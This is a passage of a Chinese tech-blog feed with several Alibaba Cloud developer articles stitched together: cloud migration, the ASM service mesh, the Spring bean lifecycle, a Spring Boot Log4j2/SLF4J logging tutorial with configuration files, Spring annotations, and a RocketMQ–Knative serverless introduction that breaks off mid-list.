      这里特别介绍下关于存储抽象层的设计,在这里我们实际上用到了软件存储控制层的概念。一开始存储控制层的作用是将不同型号存储的API接口进行统一的管理,能够让应用层和编排层使用统一的接口去调度不同的存储。但是,如下图所示,在设计该平台的时候,我们做了一个创新的操作,将云平台也变成了一个存储,因此上层的应用层和编排层就能像普通的应用层一样使用阿里云,我们只管理到控制流,数据流还是之前的路径。除此之外,我们还能管理离线的设备,就解决了传统存储和云存储统一的问题。

      image.png

      (二)利用云原生资源进行数据同步

      数据同步就是将源端的数据同步到阿里云的EBS上,并且每次同步之后会进行EBS快照,方便进行验证,完整的过程如下图所示。在该过程中,全量同步与增量同步进行配合,提高了同步效率,快照技术保障了数据的安全性。

      image.png

      (三)利用阿里云API将EBS变为ECS

      在阿里云的接口里面其实并没有可以直接将EBS变为ECS的API,我们利用了主机镜像的方式来实现了该功能,具体的流程如下图所示。在这种方式下,无论是数据同步还是启动主机的过程,对源端业务系统都没有造成任何影响。实际上该过程类似于容灾体系中的容灾接管的过程,通过这种方式,大家可以对上云之后云主机的稳定性经过充分的验证之后再去完成同步增量等,进而完成完整的迁移过程。

      image.png

      (四)阿里云接口需求

      从迁移的角度来讲,在各个阶段对阿里云的接口需求如下图所示。正式因为有了如下接口,整个迁移的过程才会更加的快速、便捷。

      image.png

      《基于阿里云原生服务构建迁移即服务》精彩直播

      查看下篇文章,点击这里。

      ]]>
      阿里云托管网格服务入门与应用部署实践(上) Fri, 02 May 2025 09:39:04 +0800 【MVP时间】线上峰会,一键收藏

      《阿里云托管网格服务入门与应用部署实践》精彩直播

      查看下篇文章,点击这里。

      一、服务网格简介

      在云原生应用的早起,我们大多使用的是单体应用,将所有业务相关的应用部署、打包,然后进行发布,这种架构下,随着业务越来越复杂,应用之间越来越不可拆分,不同模块的可扩展性、伸缩性非常差。为了解决以上问题,我们提出了微服务架构,它是依据功能将服务划分成不同的应用单元和业务组件,组件之间通过API的方式相互调用,同时相互独立的组件可以做水平和垂直的扩容,提升了架构的可伸缩性

      然而,微服务架构带来了良好的伸缩性的同时也提升了运维的复杂性,进而诞生了容器与编排架构,容器技术可以自定义软件运行的基础环境,方便进行资源的隔离,而容器的编排技术可以将应用编排到不同的机器上,提供用于基于容器应用可扩展性的基本机制。在基于容器部署的软件环境基础上,我们需要一个基于容器的、用于服务治理的框架,于是诞生了服务网格。不同的服务有着各自的特点,各自的优劣对比如下图所示。

      image.png

      如果不使用网格服务而使用微服务架构,那么在容器环境下的微服务治理有多难呢?难点主要包括

      • 通信链路复杂,难以定位微服务问题;
      • 一些服务功能难以实现,比如服务发现、负载均衡、故障容忍、端到端监测、动态路由等;
      • 服务功能以代码库的方式紧耦合在应用程序本身中,容易引发版本冲突问题;
      • 不同编程语言的解决方案差异大、缺少共性。

      在服务网格中,通过Sidecar代理处理以上问题,堪称容器微服务流量管控“神器”,同时将这些功能标准化,应用程序开发人员可以专注于业务逻辑的实现。形象的来讲,Sidecar就像下图所示的摩托车的边车一样,服务去哪,Sidecar就去哪,比如在目前非常出名的服务网格Istio中,它的Sidecar就是一个C++编写的Envoy组件,服务网格通过这种方式,很好的实现了包括服务发现、可观测性、限流等各种服务功能。

      image.png

      通过第三方去做服务治理的传统方式与服务网格的区别如下图所示。在传统方式中我们通过Library或者其他方式将服务治理能力集成到应用中,但是如果Library的版本不同或者语言框架不同的时候服务治理能力就会出现参差不同的差异,给版本升级带来巨大的不便;而在服务网格中,我们用Sidecar代理的方式来解决这个问题,使得服务能力的提升或升级独立于应用本身。

      image.png

      此外,由于我们使用了Sidecar代理方式,方便了我们进行统一的管理。比如Istio中的Pilot组件不断地去读取用户提交到数据库中的规则配置,然后再和每个服务的Sidecar代理进行信息交互,实现整个平台的统一管理。通过服务网格,我们将这种服务治理的能力统一化、标准化,主要功能服务以及特性如下图所示。

      image.png

      二、阿里云服务网格(ASM)

      (一)ASM简介

      服务网格提供了强大的功能同时,也带来了如下图所示的更多复杂性,首要的是部署复杂性,而其复杂性也成为了一部分用户望而却步的原因。

      image.png

      为了解决其部署复杂性的问题,阿里云发布了相关产品:阿里云服务网格(Alibaba Cloud Service Mesh,简称 ASM)。阿里云服务网格提供了一个全托管式的服务网格平台,兼容于社区 Istio 开源服务网格,用于简化服务的治理,包括服务调用之间的流量路由与拆分管理、服务间通信的认证安全以及网格可观测性能力,从而极大地减轻开发与运维的工作负担。从下图可以看到阿里云的容器团队之前已经提供了ACK、ASK和ACR等服务,ASM是这些服务之上的一个流量治理的平台。

      image.png

      ASM的架构如下图所示,它其实是一个托管式的、统一的流量管理和服务治理的平台,百分百兼容社区的Istio,接入了阿里云的一些能力,比如安全能力、日志能力、分布式追踪能力等,并且接入了云企业网,做到了不同网络之间的相互打通。

      image.png

      (二)ASM适用场景及优势

      ASM有着强大、便捷的功能,那么ASM适用于哪些场景呢?当前,ASM适用的场景主要有:

      • 多集群应用统一流量管理:对于部署在多地域、混合云多云、不同类型的K8s集群,提供一致的可见性和流量管理。
      • 端到端可观测性:提供跟踪、监控和日志记录功能的优化整合,帮助用户深入分析网络及应用服务的性能表现和运行状况。
      • 服务安全加固与灵活授权:通过mTLS以渐进方式逐步实现服务之间通信的安全,提供简单易用、基于角色的访问权限控制与自定义授权能力,支持所有变更操作可审计追踪。
      • 应用容器化平滑上云:将线下环境存量应用迁移上云,通过部署和配置服务网格,将流量动态路由到线下旧版环境或线上新版环境,处理无状态服务迁移。

      服务网格ASM与ACK Istio addon、云上自建Istio相比,三种方式在管控平面、用户成本、安全性等方面的对比如下图所示:

      image.png

      (三)ASM流量管理

      如下图所示,ASM首先将数据分成控制面和数据面,数据面支持不同的代理服务,在控制层面可以为用户托管API Server访问入口、ETCO、Istio Operator等,实现流量和服务的统一管理。
      并且在流量管理的策略上,ASM完全兼容Istio社区API,为用户提供更加便捷的服务。

      image.png

      《阿里云托管网格服务入门与应用部署实践》精彩直播

      查看下篇文章,点击这里。

      ]]>
      阿里云托管网格服务入门与应用部署实践(下) Fri, 02 May 2025 09:39:04 +0800 【MVP时间】线上峰会,一键收藏

      《阿里云托管网格服务入门与应用部署实践》精彩直播

      查看上篇文章,点击这里。

      三、功能演示

      (一)ASM主要功能示例

      (1)阿里云服务网格ASM产品UI:实例管理

      对于一些云上产品,我们提供了一个便捷的控制平台如下图所示,在该平台上我们可以很方便的进行服务网格实例的全生命周期管理。

      image.png

      (2)阿里云服务网格ASM产品UI:实例运维

      在该平台上实例的运维也非常简单,比如一键升级、一键配置、添加集群等,用户无需过多的关心运维过程中的操作问题,大大提升了运维效率。

      image.png

      (3)可观测性——监控与链路追踪

      ASM中集成了阿里云的Prometheus服务、链路追踪服务和日志服务。用户的流量请求都会主动上报到阿里云的日志服务中(需开启配置),然后通过阿里云的链路追踪采集日志,展示出整个产品生命周期的拓扑图,有着较高的可观测性。

      image.png

      (二)Demo演示:微服务应用治理

      下面以一个Demo来简单演示一个微服务应用治理的主要步骤。

      (1)创建网格实例

      首先从阿里云官网找到服务网格产品页面,进入管理控制台,然后创建一个网格实例,如下图所示,选择相应的地域、网络等属性即可,需要注意的是最好勾选使用公网地址暴露API Server,方便我们从公网进行服务网格的配置和操作。一般几分钟之后实例就可以创建成功,创建成功后就可以对实例进行配置的动态更新和修改,还可以拿到实例的访问凭证,进而对实例进行服务治理策略的下发和更新。

      image.png

      (2)添加集群

      在创建实例完成之后,我们将ACK集群添加到网格服务中,这个过程会比创建实例要久一点。同时,在本地环境中,我们要配置相应的网格实例和ACK集群的访问凭证。在集群和本地环境配置好之后,我们在集群上部署好入口网关服务,就完成了相关业务的托管服务。

      (3)应用发布与灰度发布

      添加集群进行服务的托管之后,我们发布了应用版本,随着业务的变化我们必定会进行某些应用服务的更新或者说版本的更新。在ASM中我们会通过一个虚拟服务来配置访问某一个地址所对应的后端Pod,这样子我们可以将来自不同地址的服务请求路由到不同的应用版本上,进行应用的灰度发布,也就是小范围的发布新版本,经过一段时间的验证,没有异常的话,我们就可以将全部配置切换到新的版本中,减少版本切换中可能出现的某些风险。

      (4)全链路追踪,服务治理

      ASM实例集成了阿里云的链路追踪服务,在创建网格实例的时候只要开启了链路追踪服务以及采样百分比,那么所有通过ASM所托管的应用,它的拓扑关系和所调用的链路都会推送到链路追踪服务上,如下图所示,在全局拓扑页面我们能看到所部署的应用的链路以及请求数、响应时间、异常数等信息。同时,对于一些关键的链路节点,我们也可以点击相应节点进行更深入的分析,更多详细的功能可以查看相应的文档。

      image.png

      通过上面的实例我们了解了如何创建实例、添加ACK集群、部署网关入口、应用发布、逐步切换应用版本以及链路追踪和服务治理等功能,更多关于本实例的资料可以在github上找到更多关于本实例的资料可以在github上找到找到,而更多关于关于ASM的文档大家大家到在阿里云官网以及开发者社区查看。

      关键词:阿里云、托管服务、网格服务、ASM、微服务治理

      《阿里云托管网格服务入门与应用部署实践》精彩直播

      查看上篇文章,点击这里。

      ]]>
      Spring生命周期 Fri, 02 May 2025 09:39:04 +0800
    4. @Bean初始化和销毁
      1.1 bean的生命周期:

      bean创建-----初始化-----销毁的过程

    1.2 容器管理bean的生命周期:
      我们可以自定义初始化和销毁方法:容器在bean进行到当前生命周期的时候来调用我们自定义的初始化和销毁方法。
     构造函数:
      单实例:容器创建时进行初始化
      多实例:在每次获取的时候创建对象

    BeanPostProcessor.postProcessBeforeInitialization
    初始化:
      对象创建完成,并赋值好,调用初始化方法。BeanPostProcessor.postProcessAfterInitialization
    销毁:
      单实例:容器关闭的时候
      多实例:容器不会管理这个bean;容器不会调用销毁方法;
    1、指定初始化和销毁方法
      通过@Bean指定init-method和destroy-method;
    2、通过Bean实现InitializingBean(定义初始化逻辑)
      DisposableBean(定义销毁逻辑)
    3、可以使用JSR250规范:
      @PostConstruct:在bean创建完成并且属性赋值完成
      @PreDestroy:在容器销毁bean销毁之前调用清理工作

    ]]>
    Spring Boot 2.x 实战--日志打印与输出到文件 Fri, 02 May 2025 09:39:04 +0800 作者:小先,一个专注大数据、分布式技术的非斜杠青年,爱Coding,爱阅读、爱摄影,更爱生活!

    源代码仓库:https://github.com/zhshuixian/learn-spring-boot-2

    日志对于程序的重要性不言而喻,当程序运行出现问题的时候,我们可以通过日志快速的定位、分析问题。

    在开发的时候,还可以通过 IDE 的调试功能或者 System.out 、System.err 来简单打印一下信息,用来定位 bug,但这种方式是在任何时候都不推荐的,在生产环境中,撇开 System.out 会影响系统性能不说,出现问题的时候连错误日志记录在哪里都难找。

    作为企业应用开发来说,可能有不同的功能模块,不同的功能模块之间的相互调用可能存在许多问题,在开发和演示环境中,很多问题可能无法暴露出来。当某个功能发生异常了,然而你无法像开发环境一样一步一步调试来找出问题,这时候能帮到你的只有日志记录。

    Java 发展至今,有着非常成熟的生态体系,有着非常多成熟的日志框架可以选择, 因此也不推荐你从零搭建日志框架。

    这里将实战 Spring Boot 整合 Log4j2 与 Slf4j 实现日志打印和输出到文件。

    1、Java 日志框架和日志门面

    在 Java 生态中,日志方面的技术主要分为日志框架和日志门面两大方面。日志框架是日志功能的具体实现,日志门面在日志框架的上面再做一层封装,对应用程序屏蔽底层日志框架的实现及细节。这里简要介绍 Java 常用的日志框架和日志门面。

    1.1、常用的日志框架

    java.util.logging : 是从 JDK 1.4 开始引入的 Java 原生日志框架,定义了七个日志级别,分别是:SEVERE、WARNING、INFO、CONFIG、FINE、FINER、FINEST。

    Log4j : 是 Apache 的开源项目,出自 Ceki Gülcü 之手,我们可以灵活地控制日志的输出格式、控制日志输出到控制台还文件,而这些无需对代码进行更改,只需要简单地更改一下配置文件即可。同样定义了七个日志级别:OFF、FATAL、ERROR、WARN、INFO、DEBUG、TRACE。

    LogBack : 同样是出自 Ceki Gülcü 之手的成熟日志框架,可以看做是 Log4j 的改良加强版本。

    Log4j2 : 不仅仅是 Log4j 升级版本,从头到尾被重写了,性能有着极大的提升,感兴趣的读者可以自行搜索 Log4j2 和其他日志框架的性能评析。

    1.2、日志门面

    在阿里巴巴《Java开发手册》中,在日志规范的第一条中,就是禁止直接使用上面所列的日志框架的 API,而应该使用像 SLF4J 日志门面的 API。

    日志规范

    上面所列的几种常用的日志框架,不同的框架有着不同的 API,这大大增加了代码与日志框架的耦合性,当需要更换日志框架的时候,我们几乎要把日志框架相关的代码重新修改一遍。

    为了解决这个问题,可以通过在程序和日志框架在搭一个中间层实现,这就是日志门面,通过日志门面屏蔽日志框架的具体实现,即使我们更改了底层日志框架,也无需对程序进行大修改,顶多就是改改一些配置即可。

    日志门面并不涉及具体的日志实现,还需依赖 Log4j、Logback 等日志框架,它仅仅是对程序屏蔽了不同日志框架的 API 差异,降低程序和日志框架之间的耦合度。

    SLF4J : Java 简易日志门面(Simple Logging Facade for Java)的缩写,也是出自 Log4j 、 LogBack 的作者Ceki Gülcü 之手。支持 Java Logging API、Log4j、logback等日志框架。根据作者的说法,SLF4J 效率更高,比起 Apache Commons Logging (JCL) 更简单、更稳定。

    Commons Logging : Apache Commons Logging (JCL) 是基于Java的日志记录程序。

    日志框架和日志门面的关系

    2、实战 Log4j2 与 SLF4J

    对于 Java 程序来说,Log4j + SLF4J 这样的组合来进行日志输出是个不错的选择,通过日志门面屏蔽底层日志框架的差异,即使在日后更换日志框架也无需太多的成本。

    前面提到,Log4j2 对比 Log4j 有着巨大的提升,因此这里选择 Log4j2 + SLF4J 的组合。实战如何控制日志的控制台输出和日志输出到文件中。

    2.1、引用 Log4j2 依赖

    Spring Boot 默认使用 Logback 作为日志框架,默认引入了 spring-boot-starter-logging 这个依赖,修改 build.gradle(pom.xml),添加 Log4j2 依赖和排除 spring-boot-starter-logging 。

    项目添加 Log4j2 依赖、排除 spring-boot-starter-logging

    build.gradle

    // 排除 spring-boot-starter-logging
    configurations {
        compile.exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
        implementation.exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
        testImplementation.exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
    }
    dependencies {
        // 其他依赖省略
        // 引入 Log4j2
        // https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-log4j2
        compile group: 'org.springframework.boot', name: 'spring-boot-starter-log4j2'
    }

    pom.xml

      <dependencies>
        <dependency>
        <!-- 排除 spring-boot-starter-logging -->
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-logging</artifactId>
          <exclusions>
            <exclusion>
              <groupId>*</groupId>
              <artifactId>*</artifactId>
            </exclusion>
          </exclusions>
        </dependency>
        <!-- 其他依赖省略 -->
        <!-- 引入 Log4j2 https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-log4j2 -->
        <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
      </dependencies>
    

    刷新项目,可以发现 spring-boot-starter-logging 已经被移除和新引入了 spring-boot-starter-log4j2 。

    2.2、 Log4j2 的配置

    Log4j2 默认配置文件是 resources/log4j2-spring.xml ,新建Log4j2 的配置文件,如果你使用其他文件名称,可以通过如下方式指定。

    application.properties

    # 指定 Log4j2 配置文件
    logging.config=classpath:other-filename.xml

    Log4j2-spring.xml 配置模板

    <?xml version="1.0" encoding="UTF-8"?>
    <!-- Log4j2 配置文件 参考 https://www.cnblogs.com/keeya/p/10101547.html  -->
    <!--日志级别以及优先级排序: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALL -->
    <!-- monitorInterval=“N” 自动间隔 N 秒检测配置文件是否修改,有修改则自动重新加载配置 可以不设置  -->
    <!-- status="warn" Log4j2 本身日志输出级别 可以不设置 -->
    <configuration monitorInterval="30" status="warn">
      <!-- 变量配置 -->
      <Properties>
        <!-- 日志输出格式 -->
        <property name="LOG_PATTERN"
                  value="%d{yyyy-MM-dd HH:mm:ss.SSS} %highlight{%-5level} [%t] %highlight{%c{1.}.%M(%L)}: %msg%n"/>
        <!-- 日志输出到文件的路径和文件名 根据项目情况更改 value 值 -->
        <property name="LOG_FILE_PATH" value="logger"/>
        <property name="LOG_FILE_NAME" value="log4j2"/>
      </Properties>
      <!-- 定义 appenders -->
      <appenders>
        <!-- console 设定 控制台输出 -->
        <console name="Console" target="SYSTEM_OUT">
          <!-- 指定 输出格式 默认 %msg%n -->
          <PatternLayout pattern="${LOG_PATTERN}"/>
          <!-- onMatch="ACCEPT" 只输出 level 级别及级别优先级更高的 Log , onMismatch="DENY" 其他拒绝输出  -->
          <ThresholdFilter level="debug" onMatch="ACCEPT" onMismatch="DENY"/>
        </console>
        <!-- 将日志全部输出到 test.log,append="true" 表示重新运行时不删除日志 -->
        <File name="FileLog" fileName="${LOG_FILE_PATH}/test.log" append="true">
          <PatternLayout pattern="${LOG_PATTERN}"/>
        </File>
        <!-- RollingFile 滚动输出日志到文件 -->
        <!-- 输出 warn 及更高优先级的 log 到 LOG_FILE_PATH 目录下的 warn.log 文件  -->
        <!-- filePattern 指定 warn.log 文件大于 size 大小时候文件处理规则, %d 日期;%i 编号(最大为下方设置的 max 值) -->
        <RollingFile name="RollingFileWarn" fileName="${LOG_FILE_PATH}/warn.log"
                     filePattern="${LOG_FILE_PATH}/%d{yyyy-MM-dd}/WARN_${LOG_FILE_NAME}_%i.log.gz">
          <PatternLayout pattern="${LOG_PATTERN}" />
          <ThresholdFilter level="warn" onMatch="ACCEPT" onMismatch="DENY"/>
          <Policies>
            <!-- interval="N" ,N小时滚动一次,默认是1 hour-->
            <TimeBasedTriggeringPolicy interval="1"/>
            <!-- size="5MB" 指定日志输出文件大小,若大小超过size,则日志会自动存入按 filePattern 规则建立的文件夹下面并进行压缩 -->
            <SizeBasedTriggeringPolicy size="5MB"/>
          </Policies>
          <!-- DefaultRolloverStrategy 不设置的情况下,默认为最多同一文件夹下7个 filePattern 规矩建立的压缩文件,多于 max 的值将用新的文件覆盖就的压缩文件 -->
          <DefaultRolloverStrategy max="10"/>
        </RollingFile>
        <!-- 输出 error 及更高优先级的 log 到 LOG_FILE_PATH 目录下的 error.log 文件  -->
        <RollingFile name="RollingFileError" fileName="${LOG_FILE_PATH}/error.log"
                     filePattern="${LOG_FILE_PATH}/%d{yyyy-MM-dd}/ERROR_${LOG_FILE_NAME}_%i.log.gz">
          <PatternLayout pattern="${LOG_PATTERN}" />
          <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/>
          <Policies>
            <TimeBasedTriggeringPolicy interval="1"/>
            <SizeBasedTriggeringPolicy size="5MB"/>
          </Policies>
          <DefaultRolloverStrategy max="10"/>
        </RollingFile>
        <!-- 输出 info 及更高优先级的 log 到 LOG_FILE_PATH 目录下的 info.log 文件  -->
        <RollingFile name="RollingFileInfo" fileName="${LOG_FILE_PATH}/info.log"
                     filePattern="${LOG_FILE_PATH}/%d{yyyy-MM-dd}/Info_${LOG_FILE_NAME}_%i.log.gz">
          <PatternLayout pattern="${LOG_PATTERN}"/>
          <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/>
          <Policies>
            <TimeBasedTriggeringPolicy interval="1"/>
            <SizeBasedTriggeringPolicy size="5MB"/>
          </Policies>
          <DefaultRolloverStrategy max="10"/>
        </RollingFile>
      </appenders>
    
      <!-- 在 Loggers 引入 Appender 使其生效 -->
      <loggers>
        <!-- Logger 节点用来单独指定 package 包下的 class 的日志输出格式等信息 -->
        <logger  name="org.springframework" level="info" additivity="false">
          <!-- 指定 org.springframework 的 level 及更高优先级的日志只在控制台输出 -->
          <!-- additivity="false" 只在自定义的Appender中进行输出 -->
          <AppenderRef ref="Console"/>
        </logger >
    
        <Root level="info">
          <!-- 用来指定项目的 Root 日志规则,如果没有单独指定Logger,那么就会默认使用 Root 日志输出 -->
          <!-- AppenderRef 用来指定日志输出到哪个 Appender -->
          <AppenderRef ref="Console"/>
          <AppenderRef ref="FileLog"/>
          <AppenderRef ref="RollingFileInfo"/>
          <AppenderRef ref="RollingFileWarn"/>
          <AppenderRef ref="RollingFileError"/>
        </Root>
      </loggers>
    </configuration>

    2.3、示例代码

    public class HelloSpringBoot {
        private static final org.slf4j.Logger log = org.slf4j.LoggerFactory.getLogger(BootApplication.class);
        
        @RequestMapping("string")
        @ResponseStatus(HttpStatus.OK)
        public String helloString(){
            log.trace("trace");
            log.debug("debug");
            log.warn("warn");
            log.info("info");
            log.error("error");
            return "Hello Spring Boot";
        }
        // 其他代码省略
    }

    或者 @Slf4j

    @Slf4j
    public class HelloSpringBoot {
    
        @RequestMapping("string")
        @ResponseStatus(HttpStatus.OK)
        public String helloString(){
            log.trace("trace");
            log.debug("debug");
            log.warn("warn");
            log.info("info");
            log.error("error");
            return "Hello Spring Boot";
        }
        // 其他代码省略
    }

    运行项目,通过访问 https://localhost:8000/hello/string 可以看到如下输出

    2020-02-18 01:15:20.620 WARN  [https-jsse-nio-8000-exec-10] o.x.b.HelloSpringBoot.helloString(20): warn
    2020-02-18 01:15:20.620 INFO  [https-jsse-nio-8000-exec-10] o.x.b.HelloSpringBoot.helloString(21): info
    2020-02-18 01:15:20.621 ERROR [https-jsse-nio-8000-exec-10] o.x.b.HelloSpringBoot.helloString(22): error

    2.4、日志配置详解

    2.4.1、日志级别

    如果日志优先级等于或者大于配置的 level 就将其输出。如果设置为 Info,则 WARN 、ERROR 、FATAL 信息也会输出。而 DEBUG 、TRACE 则不会。

    日志优先级排序 OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALL

    • TRACE : 追踪,一般不使用,就是程序执行一步,就打个日志
    • DEBUG : 调试信息,一般作为最低级别
    • INFO : 重要的提示信息
    • WARN : 警告信息
    • ERROR : 错误信息
    • FATAL : 致命错误信息

    2.4.2、 配置文件

    根节点 Configuration 有两个属性和两个子节点 AppenderLoggers

    • status 指定 Log4j2 本身日志输出级别
    • monitorInterval=“N” 自动间隔 N 秒检测配置文件是否修改,有修改则自动重新加载配置

    Appender 定义日志输出格式

    • Console : 输出到控制台

      • 属性 name : Appender 的名称
      • 属性 target : SYSTEM_OUT 或 SYSTEM_ERR,一般设置为 SYSTEM_OUT
      • 子节点 PatternLayout : 日志输出格式
      • 子节点 ThresholdFilter : 日志输出级别 level
    • File : 输出到文件

      • 属性 name : Appender 的名称
      • 属性 fileName : 文件路径和名称
      • 属性 append : 重新运行项目是否保留先前的文件
      • 子节点 PatternLayout : 日志输出格式
    • RollingFile : 滚动输出到文件,超过某个大小时候,自动覆盖旧日志,建议在线上项目使用

      • 属性 name : Appender 的名称
      • 属性 fileName : 文件路径和名称
      • 属性 filePattern : fileName 文件超过指定 size 时候,归档文件存放目录和命名规则
      • 子节点 PatternLayout : 日志输出格式
      • 子节点 ThresholdFilter : 日志输出级别 level
      • 子节点 Policies : 滚动输出策略

        • 子节点 : TimeBasedTriggeringPolicy 的 interval 属性用来指定多久滚动一次,单位小时
        • 子节点 : SizeBasedTriggeringPolicy 的 size 属性指定日志超过此大小按照 filePattern 压缩归档
      • 子节点 DefaultRolloverStrategy : max 属性值指定同一文件下 filePattern 压缩归档数量最大值。

    Loggers

    • Logger : 单独指定某个 package 包下的 class 输出格式

      • 属性 name : package 的名称
      • 属性 level:日志级别
      • 属性 additivity : 是否只在子节点 AppenderRef 里输出
      • 子节点 AppenderRef : 指定日志输出到那个 Appender
    • Root:项目 Root 日志,如果没有使用 Logger 单独指定,则使用 Root 规则输出日志

      • 属性 level :日志级别,如果 Appender 为指定,则使用这个
      • 子节点 AppenderRef : 指定日志输出到那个 Appender

    PatternLayout 自定义日志输出格式

    %d{yyyy-MM-dd HH:mm:ss.SSS}: 毫秒级别的日志产生时间
    %highlight : 高亮显示
    %-5level : 日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0
    %c : 日志名称
    %t : 线程名
    %msg : 日志内容
    %n : 换行符
    %C : 类名
    %L : 行数
    %M : 方法名
    %l : 包括类名、方法名、文件名、行数

    参考文档

    为什么阿里巴巴禁止工程师直接使用日志系统(Log4j、Logback)中的 API https://mp.weixin.qq.com/s/vCixKVXys5nTTcQQnzrs3w

    https://www.cnblogs.com/keeya/p/10101547.html

    SpringBoot整合log4j2日志全解 https://www.cnblogs.com/keeya/p/10101547.html

    下一节,将实战 Spring Boot 2.X 连接 MySQL,分为 Spring Data JPA 和 MyBatis 两大块内容。更多内容,敬请关注《编程技术进阶》。

    ]]>
    深入理解Spring两大特性:IoC和AOP Fri, 02 May 2025 09:39:04 +0800 在具体介绍IoC和AOP之前,我们先简要说明下Spring常用注解

    1、@Controller:用于标注控制器层组件

    2、@Service:用于标注业务层组件

    3、@Component : 用于标注这是一个受 Spring 管理的组件,组件引用名称是类名,第一个字母小写。可以使用@Component(“beanID”) 指定组件的名称

    4、@Repository:用于标注数据访问组件,即DAO组件

    5、@Bean:方法级别的注解,主要用在@Configuration和@Component注解的类里,@Bean注解的方法会产生一个Bean对象,该对象由Spring管理并放到IoC容器中。引用名称是方法名,也可以用@Bean(name = "beanID")指定组件名

    6、@Scope("prototype"):将组件的范围设置为原型的(即多例)。保证每一个请求有一个单独的action来处理,避免action的线程问题。

    由于Spring默认是单例的,只会创建一个action对象,每次访问都是同一个对象,容易产生并发问题,数据不安全。

    7、@Autowired:默认按类型进行自动装配。在容器查找匹配的Bean,当有且仅有一个匹配的Bean时,Spring将其注入@Autowired标注的变量中。

    8、@Resource:默认按名称进行自动装配,当找不到与名称匹配的Bean时会按类型装配。

     

    简单点说,就是,能够明确该类是一个控制器类组件的,就用@Controller;能够明确是一个服务类组件的,就用@Service;能够明确该类是一个数据访问组件的,就用@Repository;不知道他是啥或者不好区分他是啥,但是就是想让他动态装配的就用@Component。

    @Controller、@Service、@Component、@Repository都是类级别的注解,如果一个方法也想动态装配,就用@Bean。

    当我们想按类型进行自动装配时,就用@Autowired;当我们想按名称(beanID)进行自动装配时,就用@Resource;当我们需要根据比如配置信息等来动态装配不同的组件时,可以用getBean("beanID")。

    到这里,如果对这些注解,或是自动装配不太理解,可以继续往下,看完 控制反转(IoC) 内容后再回来理解这里的内容。

    ]]>
    当 RocketMQ 遇上 Serverless,会碰撞出怎样的火花? Fri, 02 May 2025 09:39:04 +0800 1.png

    作者 | 元毅  阿里巴巴高级开发工程师

    阿里巴巴云原生公众号后台回复 Knative,免费下载《Knative 云原生应用开发指南》电子书!

    想必大家都比较了解 RocketMQ 消息服务,那么 RocketMQ 与 Serverless 结合会碰撞出怎样的火花呢?我们今天介绍一下如何基于 RocketMQ + Knative 驱动云原生 Serverless 应用 。本文主要从以下几个方面展开介绍:

    • 云原生与 Serverless
    • Knative 简介
    • RocketMQSource
    • 餐饮配送场景示例

    云原生

    先看一下 CNCF 对云原生的定义:

    云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中,构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式 API。

    2.png

    这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段,云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。

    其实云原生旨在以标准化云服务的提供方式衔接云厂商和客户。这种方式对于客户而言降低了上云和跨云迁移的成本,让客户始终保有和云厂商议价的能力;对云厂商而言,因为客户跨云迁移的成本低,所以只要能提供性价比更高的云服务,就能很容易的聚集大量用户。

    Serverless

    3.png

    Serverless(无服务器架构)是指服务端逻辑由开发者实现,运行在无状态的计算容器中,由事件触发,完全被第三方管理,其业务层面的状态则存储在数据库或其他介质中。

    Serverless 可以理解为云原生技术发展的高级阶段,使开发者更聚焦在业务逻辑,而减少对基础设施的关注。

    这里提到的是 Functions Serverless, 其实除了 Functions Serverless, 还有另外一种 Serverless 形态:容器化的Serverless。相较于 Function Serverless,容器化的 Serverless, 可移植性更强, 开发者对复杂应用程序能进行更好的掌控。除此之外,对于那些经历过容器时代洗礼的用户,容器化的 serverless或许是一种更好的选择。

    对于Serverless, 有如下几点需要关注一下:

    • 事件(event)驱动:Serverless 是由事件(event)驱动(例如 HTTP、pub/sub)的全托管计算服务;
    • 自动弹性:按需使用,削峰填谷;
    • 按使用量计费:相对于传统服务按照使用的资源(ECS 实例、VM 的规格等)计费,Serverless 场景下更多的是按照服务的使用量(调用次数、时长等)计费;
    • 绿色的计算: 所谓绿色的计算其实就是最大化的提升资源使用效率,减少资源浪费,做的“节能减排”。

    Knative

    上面提到了容器化的 Serverless,那么有没有这样的 Serveless 平台框架呢?答案就是:Knative。

    4.png

    Knative 是在 2018 的 Google Cloud Next 大会上发布的一款基于 Kubernetes 的 Serverless 编排引擎。Knative 一个很重要的目标就是制定云原生、跨平台的 Serverless 编排标准。Knative 是通过整合容器构建(或者函数)、工作负载管理(弹性)以及事件模型这三者来实现的这一 Serverless 标准。Knative 社区的当前主要贡献者有 Google、Pivotal、IBM、RedHat。另外像 CloudFoundry、OpenShift 这些 PaaS 提供商都在积极的参与 Knative 的建设。

    1. Knative 核心模块

    Knative 核心模块主要包括事件驱动框架 Eventing 和部署工作负载的 Serving。

    5.png

    2. Serverless 服务引擎 - Serving

    6.png

    Knative Serving 核心能力就是其简洁、高效的应用托管服务,这也是其支撑 Serverless 能力的基础。Knative 提供的应用托管服务可以大大降低直接操作 Kubernetes 资源的复杂度和风险,提升应用的迭代和服务交付效率。当然作为 Severlesss Framework 就离不开按需分配资源的能力,阿里云容器服务 Knative 可以根据您应用的请求量在高峰时期自动扩容实例数,当请求量减少以后自动缩容实例数,可以非常自动化的帮助您节省成本。

    Serving 通过与 Istio 结合还提供了强大的流量管理能力和灵活的灰度发布能力。流量管理能力可以根据百分比切分流量,灰度发布能力可以根据流量百分比进行灰度,同时灰度发布能力还能通过自定义 tag 的方式进行上线前的测试,非常便于和自己的 CICD 系统集成。

    Serving 应用模型

    7.png

    • Service: 对应用 Serverless 编排的抽象,通过 Service 管理应用的生命周期;
